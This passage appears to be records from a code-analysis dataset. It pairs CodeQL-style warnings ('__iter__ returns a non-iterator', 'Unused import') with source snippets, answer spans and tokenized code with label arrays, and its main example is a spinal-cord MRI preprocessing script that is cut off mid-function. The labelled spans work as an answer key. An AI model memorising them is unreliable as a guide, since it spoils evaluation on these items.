")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "res_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cnt_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "e_", "in_", "self_", "._", "query", "\\u", "result", "\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elm_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "print", "Ele", "m", "Number_", ":_", "elm_", "=_", "\"(", "%", "d", ")\"_", "%_", "cnt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "+=_", "prefix_", "+_", "(_", "\"", "query", "\\u", "result", "%", "s", " ", "<\\\\", "n", "\"_", "%_", "elm_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "+=_", "e_", "._", "\\u\\u", "str\\u\\u_", "(_", "prefix_", "+_", "\"", " ", " ", "\"_", ",_", "print", "Ele", "m", "Number_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "+=_", "prefix_", "+_", "\">", "\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cnt_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "res_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "sparse_", ",_", "maxt", "ag_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "tuple_", "(_", "[_", "sparse_", "._", "get_", "(_", "i_", ",_", "default_", ")_", "for_", "i_", "in_", "xrange_", "(_", "0_", ",_", "1_", "+_", "maxt", "ag_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
`__iter__` method returns a non-iterator
cloudera/hue/desktop/core/ext-py/guppy-0.1.10/guppy/heapy/Path.py
[ { "content": "class PathsIter:\n\n\n\t\n", "metadata": "root.PathsIter", "header": "['module', '___EOS___']", "index": 130 }, { "content": " def __iter__(self):\n\treturn self", "metadata": "root.PathsIter.__iter__", "header": "['class', 'PathsIter', ':', '___EOS___']", "index": 137 }, { "content": " def __iter__(self):\n\treturn self.iter()", "metadata": "root.ShortestPaths.__iter__", "header": "['class', 'ShortestPaths', ':', '___EOS___']", "index": 286 } ]
[ { "span": "class PathsIter:", "start_line": 130, "start_column": 0, "end_line": 130, "end_column": 16 } ]
[ { "span": "def __iter__(self):", "start_line": 137, "start_column": 4, "end_line": 137, "end_column": 23 }, { "span": "def __iter__(self):", "start_line": 286, "start_column": 4, "end_line": 286, "end_column": 23 } ]
1
false
[ "[CLS]_", "`_", "\\u\\u", "iter\\u\\u_", "`_", "method_", "returns_", "a_", "non", "_", "-_", "iterator_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Path", "s", "Iter_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Path", "s", "Iter_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "iter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "return_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Short", "est", "Paths_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "iter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "return_", "self_", "._", "iter_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
neuropoly/spinalcordtoolbox/dev/template_preprocessing/pipeline_template.py
[ { "content": "#!/usr/bin/env python\n#\n# Pre-process data for template creation.\n#\n# N.B.:\n# - Edit variable: 'PATH_INFO': corresponds to the variable 'path_results' in file preprocess_data_template.py\n# - Edit variable: 'PATH_OUTPUT': results of fully-preprocessed T1 and T2 to be used for generating the template.\n#\n# Details of what this script does:\n# 1. Import dicom files and convert to NIFTI format (``dcm2nii) (output: data_RPI.nii.gz``).\n# 2. Change orientation to RPI (sct_orientation).\n# 3. Crop image a little above the brainstem and a little under L2/L3 vertebral disk (``sct_crop_image``)(output: ``data_RPI_crop.nii.gz``).\n# 4. Process segmentation of the spinal cord (``sct_propseg -i data_RPI_crop.nii.gz -init-centerline centerline_propseg_RI.nii.gz``)(output: ``data_RPI_crop_seg.nii.gz``)\n# 5. Erase three bottom and top slices from the segmentation to avoid edge effects from propseg (output: ``data_RPI_crop_seg_mod.nii.gz``)\n# 6. Check segmentation results and crop if needed (``sct_crop_image``)(output: ``data_RPI_crop_seg_mod_crop.nii.gz``)\n# 7. Concatenation of segmentation and original label file centerline_propseg_RPI.nii.gz (``fslmaths -add``)(output: ``seg_and_labels.nii.gz``).\n# 8. Extraction of the centerline for normalizing intensity along the spinalcord before straightening (``sct_get_centerline_from_labels``)(output: ``generated_centerline.nii.gz``)\n# 9. Normalize intensity along z (``sct_normalize -c generated_centerline.nii.gz``)(output: ``data_RPI_crop_normalized.nii.gz``)\n# 10. Straighten volume using this concatenation (``sct_straighten_spinalcord -c seg_and_labels.nii.gz -a nurbs``)(output: ``data_RPI_crop_normalized_straight.nii.gz``).\n# 11. Apply those transformation to labels_vertebral.nii.gz:\n# * crop with zmin_anatomic and zmax_anatomic (``sct_crop_image``)(output: ``labels_vertebral_crop.nii.gz``)\n# * dilate labels before applying warping fields to avoid the disapearance of a label (``fslmaths -dilF)(output: labels_vertebral_crop_dilated.nii.gz``)\n# * apply warping field curve2straight (``sct_apply_transfo -x nn) (output: labels_vertebral_crop_dialeted_reg.nii.gz``)\n# * select center of mass of labels volume due to past dilatation (``sct_label_utils -t cubic-to-point)(output: labels_vertebral_crop_dilated_reg_2point.nii.gz``)\n# 12. Apply transfo to seg_and_labels.nii.gz (``sct_apply_transfo)(output: seg_and_labels_reg.nii.gz``).\n# 13. Crop volumes one more time to erase the blank spaces due to the straightening. To do this, the pipeline uses your straight centerline as input and returns the slices number of the upper and lower nonzero points. It then crops your volume (``sct_crop_image)(outputs: data_RPI_crop_normalized_straight_crop.nii.gz, labels_vertebral_crop_dilated_reg_crop.nii.gz``).\n# 14. For each subject of your list, the pipeline creates a cross of 5 mm at the top label from labels_vertebral_crop_dilated_reg_crop.nii.gz in the center of the plan xOy and a point at the bottom label from labels_vertebral.nii.gz in the center of the plan xOy (``sct_create_cross)(output:landmark_native.nii.gz``).\n# 15. Calculate mean position of top and bottom labels from your list of subjects to create cross on a template shape file (``sct_create_cross``)\n# 16. Push the straightened volumes into the template space. The template space has crosses in it for registration. (``sct_push_into_template_space)(outputs: data_RPI_crop_straight_normalized_crop_2temp.nii.gz, labels_vertebral_crop_dilated_reg_crop_2temp.nii.gz``)\n# 17. Apply cubic to point to the label file as it now presents cubic group of labels instead of discrete labels (``sct_label_utils -t cubic-to-point) (output: labels_vertebral_dilated_reg_2point_crop_2temp.nii.gz``)\n# 18. Use sct_average_levels to calculate the mean landmarks for vertebral levels in the template space. This scripts take the folder containing all the masks created in previous step and for a given landmark it averages values across all subjects and put a landmark at this averaged value. You only have to do this once for a given preprocessing process. If you change the preprocessing or if you add subjects you have 2 choices : assume that it will not change the average too much and use the previous mask, or generate a new one. (``sct_average_levels) (output: template_landmarks.nii.gz``)\n# 19. Use sct_align_vertebrae -t SyN (transformation) -w spline (interpolation) to align the vertebrae using transformation along Z (``sct_align_vertebrae -t SyN -w sline -R template_landmarks.nii.gz)(output: <subject>_aligned_normalized.nii.gz``)\n\n# ---------------------------------------------------------------------------------------\n# Copyright (c) 2015 NeuroPoly, Polytechnique Montreal <www.neuro.polymtl.ca>\n# Authors: Tanguy Magnan\n# Modified: 2015-07-23\n#\n# License: see the LICENSE.TXT\n#=======================================================================================================================\n\nimport os, sys, commands\n\n# Get path of the toolbox\nstatus, path_sct = commands.getstatusoutput('echo $SCT_DIR')\n# Append path that contains scripts, to be able to load modules\nsys.path.append(path_sct + '/scripts')\n\nimport sct_utils as sct\nimport nibabel\nfrom scipy import ndimage\nfrom numpy import array\nimport matplotlib.pyplot as plt\nimport time\n\n# add path to scripts\nPATH_INFO = '/Users/benjamindeleener/data/template_preprocessing' # corresponds to the variable 'path_results' in file preprocess_data_template.py\nPATH_OUTPUT = '/Users/benjamindeleener/data/template_preprocessing_final' # folder where you want the results to be stored\n\n# folder to dataset\nfolder_data_errsm = '/Volumes/data_shared/montreal_criugm/errsm'\nfolder_data_sct = '/Volumes/data_shared/montreal_criugm/sct'\nfolder_data_marseille = '/Volumes/data_shared/marseille'\nfolder_data_pain = '/Volumes/data_shared/montreal_criugm/simon'\n\n# removed because movement artefact:\n# ['errsm_22', folder_data_errsm+'/errsm_22/29-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_22/25-SPINE_T2'],\\\n# removed because of low contrast:\n# ['errsm_02', folder_data_errsm+'/errsm_02/22-SPINE_T1', folder_data_errsm+'/errsm_02/28-SPINE_T2'],\n# removed because of stitching issue\n# ['TM', folder_data_marseille+'/TM_T057c/01_0007_sc-mprage-1mm-2palliers-fov384-comp-sp-5', folder_data_marseille+'/TM_T057c/01_0105_t2-composing'],\n\n\"\"\"\n\n\n \"\"\"\n\n# define subject\nSUBJECTS_LIST = [['errsm_33', folder_data_errsm+'/errsm_33/30-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_33/31-SPINE_T2'],\n ['errsm_04', folder_data_errsm+'/errsm_04/16-SPINE_memprage/echo_2.09', folder_data_errsm+'/errsm_04/18-SPINE_space'],\n ['errsm_05', folder_data_errsm+'/errsm_05/23-SPINE_MEMPRAGE/echo_2.09', folder_data_errsm+'/errsm_05/24-SPINE_SPACE'],\n ['errsm_09', folder_data_errsm+'/errsm_09/34-SPINE_MEMPRAGE2/echo_2.09', folder_data_errsm+'/errsm_09/33-SPINE_SPACE'],\n ['errsm_10', folder_data_errsm+'/errsm_10/13-SPINE_MEMPRAGE/echo_2.09', folder_data_errsm+'/errsm_10/20-SPINE_SPACE'],\n ['errsm_12', folder_data_errsm+'/errsm_12/19-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_12/18-SPINE_T2'],\n ['errsm_13', folder_data_errsm+'/errsm_13/33-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_13/34-SPINE_T2'],\n ['errsm_14', folder_data_errsm+'/errsm_14/5002-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_14/5003-SPINE_T2'],\n ['errsm_16', folder_data_errsm+'/errsm_16/23-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_16/39-SPINE_T2'],\n ['errsm_17', folder_data_errsm+'/errsm_17/41-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_17/42-SPINE_T2'],\n ['errsm_18', folder_data_errsm+'/errsm_18/36-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_18/33-SPINE_T2'],\n ['errsm_11', folder_data_errsm+'/errsm_11/24-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_11/09-SPINE_T2'],\n ['errsm_21', folder_data_errsm+'/errsm_21/27-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_21/30-SPINE_T2'],\n ['errsm_23', folder_data_errsm+'/errsm_23/29-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_23/28-SPINE_T2'],\n ['errsm_24', folder_data_errsm+'/errsm_24/20-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_24/24-SPINE_T2'],\n ['errsm_25', folder_data_errsm+'/errsm_25/25-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_25/26-SPINE_T2'],\n ['errsm_30', folder_data_errsm+'/errsm_30/51-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_30/50-SPINE_T2'],\n ['errsm_31', folder_data_errsm+'/errsm_31/31-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_31/32-SPINE_T2'],\n ['errsm_32', folder_data_errsm+'/errsm_32/16-SPINE_T1/echo_2.09 ', folder_data_errsm+'/errsm_32/19-SPINE_T2'],\n ['errsm_33', folder_data_errsm+'/errsm_33/30-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_33/31-SPINE_T2'],\n ['sct_001', folder_data_sct+'/sct_001/17-SPINE_T1/echo_2.09', folder_data_sct+'/sct_001/16-SPINE_T2'],\n ['sct_002', folder_data_sct+'/sct_002/12-SPINE_T1/echo_2.09', folder_data_sct+'/sct_002/18-SPINE_T2'],\n ['ED', folder_data_marseille+'/ED/01_0007_sc-mprage-1mm-2palliers-fov384-comp-sp-101', folder_data_marseille+'/ED/01_0008_sc-tse-spc-1mm-3palliers-fov256-nopat-comp-sp-65'],\n ['ALT', folder_data_marseille+'/ALT/01_0007_sc-mprage-1mm-2palliers-fov384-comp-sp-15', folder_data_marseille+'/ALT/01_0100_space-composing'],\n ['JD', folder_data_marseille+'/JD/01_0007_sc-mprage-1mm-2palliers-fov384-comp-sp-23', folder_data_marseille+'/JD/01_0100_compo-space'],\n ['JW', folder_data_marseille+'/JW/01_0007_sc-mprage-1mm-2palliers-fov384-comp-sp-5', folder_data_marseille+'/JW/01_0100_compo-space'],\n ['MLL', folder_data_marseille+'/MLL_1016/01_0008_sc-mprage-1mm-2palliers-fov384-comp-sp-7', folder_data_marseille+'/MLL_1016/01_0100_t2-compo'],\n ['MT', folder_data_marseille+'/MT/01_0007_sc-mprage-1mm-2palliers-fov384-comp-sp-5', folder_data_marseille+'/MT/01_0100_t2composing'],\n ['T045', folder_data_marseille+'/T045/01_0007_sc-mprage-1mm-2palliers-fov384-comp-sp-5', folder_data_marseille+'/T045/01_0101_t2-3d-composing'],\n ['T047', folder_data_marseille+'/T047/01_0007_sc-mprage-1mm-2palliers-fov384-comp-sp-5', folder_data_marseille+'/T047/01_0100_t2-3d-composing'],\n ['VC', folder_data_marseille+'/VC/01_0007_sc-mprage-1mm-2palliers-fov384-comp-sp-23', folder_data_marseille+'/VC/01_0008_sc-tse-spc-1mm-3palliers-fov256-nopat-comp-sp-113'],\n ['VG', folder_data_marseille+'/VG/T1/01_0007_sc-mprage-1mm-2palliers-fov384-comp-sp-15', folder_data_marseille+'/VG/T2/01_0024_sc-tse-spc-1mm-3palliers-fov256-nopat-comp-sp-11'],\n ['VP', folder_data_marseille+'/VP/01_0011_sc-mprage-1mm-2palliers-fov384-comp-sp-25', folder_data_marseille+'/VP/01_0100_space-compo'],\n ['pain_pilot_1', folder_data_pain+'/d_sp_pain_pilot1/24-SPINE_T1/echo_2.09', folder_data_pain+'/d_sp_pain_pilot1/25-SPINE'],\n ['pain_pilot_2', folder_data_pain+'/d_sp_pain_pilot2/13-SPINE_T1/echo_2.09', folder_data_pain+'/d_sp_pain_pilot2/30-SPINE_T2'],\n ['pain_pilot_4', folder_data_pain+'/d_sp_pain_pilot4/33-SPINE_T1/echo_2.09', folder_data_pain+'/d_sp_pain_pilot4/32-SPINE_T2'],\n ['errsm_20', folder_data_errsm+'/errsm_20/12-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_20/34-SPINE_T2'],\n ['pain_pilot_3', folder_data_pain+'/d_sp_pain_pilot3/16-SPINE_T1/echo_2.09', folder_data_pain+'/d_sp_pain_pilot3/31-SPINE_T2'],\n ['errsm_34', folder_data_errsm+'/errsm_34/41-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_34/40-SPINE_T2'],\n ['errsm_35', folder_data_errsm+'/errsm_35/37-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_35/38-SPINE_T2'],\n ['pain_pilot_7', folder_data_pain+'/d_sp_pain_pilot7/32-SPINE_T1/echo_2.09', folder_data_pain+'/d_sp_pain_pilot7/33-SPINE_T2'],\n ['errsm_03', folder_data_errsm+'/errsm_03/32-SPINE_all/echo_2.09', folder_data_errsm+'/errsm_03/38-SPINE_all_space'],\n ['FR', folder_data_marseille+'/FR_T080/01_0039_sc-mprage-1mm-3palliers-fov384-comp-sp-13', folder_data_marseille+'/FR_T080/01_0104_spine2'],\n ['GB', folder_data_marseille+'/GB_T083/01_0029_sc-mprage-1mm-2palliers-fov384-comp-sp-5', folder_data_marseille+'/GB_T083/01_0033_sc-tse-spc-1mm-3palliers-fov256-nopat-comp-sp-7'],\n ['errsm_36', folder_data_errsm+'/errsm_36/30-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_36/31-SPINE_T2'],\n ['errsm_37', folder_data_errsm+'/errsm_37/19-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_37/20-SPINE_T2'],\n ['errsm_43', folder_data_errsm+'/errsm_43/22-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_43/18-SPINE_T2'],\n ['errsm_44', folder_data_errsm+'/errsm_44/18-SPINE_T1/echo_2.09', folder_data_errsm+'/errsm_44/19-SPINE_T2'],\n ['AM', folder_data_marseille+'/AM/01_0007_sc-mprage-1mm-2palliers-fov384-comp-sp-5', folder_data_marseille+'/AM/01_0100_compo-t2-spine'],\n ['HB', folder_data_marseille+'/HB/01_0007_sc-mprage-1mm-2palliers-fov384-comp-sp-29', folder_data_marseille+'/HB/01_0100_t2-compo'],\n ['PA', folder_data_marseille+'/PA/01_0034_sc-mprage-1mm-2palliers-fov384-comp-sp-5', folder_data_marseille+'/PA/01_0038_sc-tse-spc-1mm-3palliers-fov256-nopat-comp-sp-7']\n ]\n\n#Parameters:\nheight_of_template_space = 1100\nx_size_of_template_space = 200\ny_size_of_template_space = 200\nnumber_labels_for_template = 20 # vertebral levels\nstraightening_parameters = '-params algo_fitting=nurbs,bspline_meshsize=5x5x15'\n\n\ntimer = dict()\ntimer['T1'] = TimeObject(number_of_subjects=len(SUBJECTS_LIST))\ntimer['T2'] = TimeObject(number_of_subjects=len(SUBJECTS_LIST))\ntimer['align'] = TimeObject(number_of_subjects=1)\n\n\n\n\n\n# Create cross at the first and last labels for each subject. This cross will be used to push the subject into the template space using affine transfo.\n\n\n\n# push into template space\n\n# Check position of labels crop_2temp with image crop_2temp\n# if no good: check position of labels reg with image normalized_straight\n# if no good: check position of labels dilated with image crop\n\n\n# Calculate mean labels and save it into folder \"labels_vertebral\"\n\n\n# Aligning vertebrae for all subjects and copy results into \"Final_results\". Plus: save png images of all subject into a folder named Image_results.\n\n#=======================================================================================================================\n# Start program\n#=======================================================================================================================\nif __name__ == \"__main__\":\n # call main function\n main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TimeObject:\n\n\n\n\n", "metadata": "root.TimeObject", "header": "['module', '___EOS___']", "index": 138 }, { "content": " def __init__(self, number_of_subjects=1):\n self.start_timer = 0\n self.time_list = []\n self.total_number_of_subjects = number_of_subjects\n self.number_of_subjects_done = 0\n self.is_started = False", "metadata": "root.TimeObject.__init__", "header": "['class', 'TimeObject', ':', '___EOS___']", "index": 139 }, { "content": " def start(self):\n self.start_timer = time.time()\n self.is_started = True", "metadata": "root.TimeObject.start", "header": "['class', 'TimeObject', ':', '___EOS___']", "index": 146 }, { "content": " def one_subject_done(self):\n self.number_of_subjects_done += 1\n self.time_list.append(time.time() - self.start_timer)\n remaining_subjects = self.total_number_of_subjects - self.number_of_subjects_done\n time_one_subject = self.time_list[-1] / self.number_of_subjects_done\n remaining_time = remaining_subjects * time_one_subject\n hours, rem = divmod(remaining_time, 3600)\n minutes, seconds = divmod(rem, 60)\n sct.printv('Remaining time: {:0>2}:{:0>2}:{:05.2f}'.format(int(hours), int(minutes), seconds))", "metadata": "root.TimeObject.one_subject_done", "header": "['class', 'TimeObject', ':', '___EOS___']", "index": 150 }, { "content": " def stop(self):\n self.time_list.append(time.time() - self.start_timer)\n hours, rem = divmod(self.time_list[-1], 3600)\n minutes, seconds = divmod(rem, 60)\n sct.printv('Total time: {:0>2}:{:0>2}:{:05.2f}'.format(int(hours), int(minutes), seconds))\n self.is_started = False", "metadata": "root.TimeObject.stop", "header": "['class', 'TimeObject', ':', '___EOS___']", "index": 160 }, { "content": " def printRemainingTime(self):\n remaining_subjects = self.total_number_of_subjects - self.number_of_subjects_done\n time_one_subject = self.time_list[-1] / self.number_of_subjects_done\n remaining_time = remaining_subjects * time_one_subject\n hours, rem = divmod(remaining_time, 3600)\n minutes, seconds = divmod(rem, 60)\n if self.is_started:\n sct.printv('Remaining time: {:0>2}:{:0>2}:{:05.2f}'.format(int(hours), int(minutes), seconds))\n else:\n sct.printv('Total time: {:0>2}:{:0>2}:{:05.2f}'.format(int(hours), int(minutes), seconds))", "metadata": "root.TimeObject.printRemainingTime", "header": "['class', 'TimeObject', ':', '___EOS___']", "index": 167 }, { "content": " def printTotalTime(self):\n hours, rem = divmod(self.time_list[-1], 3600)\n minutes, seconds = divmod(rem, 60)\n if self.is_started:\n sct.printv('Remaining time: {:0>2}:{:0>2}:{:05.2f}'.format(int(hours), int(minutes), seconds))\n else:\n sct.printv('Total time: {:0>2}:{:0>2}:{:05.2f}'.format(int(hours), int(minutes), seconds))", "metadata": "root.TimeObject.printTotalTime", "header": "['class', 'TimeObject', ':', '___EOS___']", "index": 178 }, { "content": "def main():\n timer['T1'].start()\n # Processing of T1 data for template\n #do_preprocessing('T1')\n #create_cross('T1')\n #push_into_templace_space('T1')\n #average_levels('T1')\n timer['T1'].stop()\n\n timer['T2'].start()\n # Processing of T2 data for template\n #do_preprocessing('T2')\n #create_cross('T2')\n #push_into_templace_space('T2')\n #average_levels('T2')\n timer['T2'].stop()\n\n #timer['align'].start()\n #average_levels('both')\n #align_vertebrae('T1')\n align_vertebrae('T2')\n timer['T2'].stop()\n timer['align'].stop()\n\n sct.printv('T1 time:')\n timer['T2'].printTotalTime()\n sct.printv('T2 time:')\n timer['T2'].printTotalTime()\n sct.printv('Align time:')\n timer['align'].printTotalTime()", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 191 }, { "content": "def do_preprocessing(contrast):\n\n # Loop across subjects\n for i in range(0,len(SUBJECTS_LIST)):\n subject = SUBJECTS_LIST[i][0]\n\n # Should check all inputs before starting the processing of the data\n\n # Create and go to output folder\n print '\\nCreate -if not existing- and go to output folder '+ PATH_OUTPUT + '/subjects/'+subject+'/'+contrast\n if not os.path.isdir(PATH_OUTPUT + '/subjects/'+subject):\n os.makedirs(PATH_OUTPUT + '/subjects/'+subject)\n if not os.path.isdir(PATH_OUTPUT + '/subjects/'+subject+'/'+contrast):\n os.makedirs(PATH_OUTPUT + '/subjects/'+subject+'/'+contrast)\n os.chdir(PATH_OUTPUT + '/subjects/'+subject+'/'+contrast)\n\n # convert to nii\n print '\\nChecking if dicoms have already been imported...'\n list_file = os.listdir(PATH_OUTPUT + '/subjects/'+subject+'/'+contrast)\n if 'data.nii.gz' not in list_file:\n print '\\nImporting dicoms and converting to nii...'\n if contrast == 'T1':\n sct.run('dcm2nii -o . -r N ' + SUBJECTS_LIST[i][1] + '/*.dcm')\n if contrast == 'T2':\n sct.run('dcm2nii -o . -r N ' + SUBJECTS_LIST[i][2] + '/*.dcm')\n\n # change file name\n print '\\nChanging file name to data.nii.gz...'\n sct.run('mv *.nii.gz data.nii.gz')\n\n # Convert to RPI\n # Input:\n # - data.nii.gz\n # - data_RPI.nii.gz\n print '\\nConverting to RPI...'\n sct.run('sct_image -i data.nii.gz -setorient RPI')\n\n # Get info from txt file\n print '\\nRecover infos from text file' + PATH_INFO + '/' + contrast + '/' + subject+ '/' + 'crop.txt'\n file_name = 'crop.txt'\n os.chdir(PATH_INFO + '/' + contrast + '/' + subject)\n\n file_results = open(PATH_INFO + '/' + contrast + '/' +subject+ '/' +file_name, 'r')\n ymin_anatomic = None\n ymax_anatomic = None\n for line in file_results:\n line_list = line.split(',')\n zmin_anatomic = line.split(',')[0]\n zmax_anatomic = line.split(',')[1]\n zmin_seg = line.split(',')[2]\n zmax_seg = line.split(',')[3]\n if len(line_list) == 6:\n ymin_anatomic = line.split(',')[4]\n ymax_anatomic = line.split(',')[5]\n file_results.close()\n\n os.chdir(PATH_OUTPUT + '/subjects/'+subject+ '/' + contrast)\n\n # Crop image\n print '\\nCropping image at L2-L3 and a little above brainstem...'\n if ymin_anatomic == None and ymax_anatomic == None:\n sct.run('sct_crop_image -i data_RPI.nii.gz -o data_RPI_crop.nii.gz -dim 2 -start ' + zmin_anatomic + ' -end ' + zmax_anatomic )\n else: sct.run('sct_crop_image -i data_RPI.nii.gz -o data_RPI_crop.nii.gz -dim 1,2 -start ' + ymin_anatomic +','+zmin_anatomic+ ' -end ' + ymax_anatomic+','+zmax_anatomic )\n\n # propseg\n # input:\n # - data_RPI_crop.nii.gz\n # - labels_propseg.nii.gz\n # output:\n # - data_RPI_crop_seg.nii.gz\n print '\\nExtracting segmentation...'\n list_dir = os.listdir(PATH_INFO + '/' + contrast + '/'+subject)\n centerline_proseg = False\n for k in range(len(list_dir)):\n if list_dir[k] == 'centerline_propseg_RPI.nii.gz':\n centerline_proseg = True\n if centerline_proseg == True:\n if contrast == 'T1':\n sct.run('sct_propseg -i data_RPI_crop.nii.gz -t t1 -init-centerline ' + PATH_INFO + '/' + contrast + '/' + subject + '/centerline_propseg_RPI.nii.gz')\n if contrast == 'T2':\n sct.run('sct_propseg -i data_RPI_crop.nii.gz -t t2 -init-centerline ' + PATH_INFO + '/' + contrast + '/' + subject + '/centerline_propseg_RPI.nii.gz')\n else:\n if contrast == 'T1':\n sct.run('sct_propseg -i data_RPI_crop.nii.gz -t t1')\n if contrast == 'T2':\n 